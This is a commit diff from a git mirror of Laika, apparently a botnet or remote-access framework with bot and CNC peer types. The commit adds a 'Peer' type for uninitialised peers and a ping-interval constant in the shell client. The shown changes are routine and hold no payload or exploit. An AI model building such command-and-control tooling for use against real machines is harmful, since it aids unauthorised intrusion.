1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-12-19 21:50:35 +00:00

Lib: added PEER_PEER type for uninitalized peers

- defined LAIKA_PING_INTERVAL for the ping task
This commit is contained in:
2022-06-30 09:18:01 -05:00
parent bc9891bcfd
commit bc071c10d2
9 changed files with 45 additions and 17 deletions

View File

@@ -222,7 +222,7 @@ void shellC_init(tShell_client *client)
client->peerTblCount = 0;
laikaT_initTaskService(&client->tService);
laikaT_newTask(&client->tService, 5000, shell_pingTask, client);
laikaT_newTask(&client->tService, LAIKA_PING_INTERVAL, shell_pingTask, client);
/* load authenticated keypair */
if (sodium_init() < 0) {

View File

@@ -35,6 +35,8 @@ void shellP_freePeer(tShell_peer *peer)
char *shellP_typeStr(tShell_peer *peer)
{
switch (peer->type) {
case PEER_PEER:
return "Peer";
case PEER_BOT:
return "Bot";
case PEER_CNC: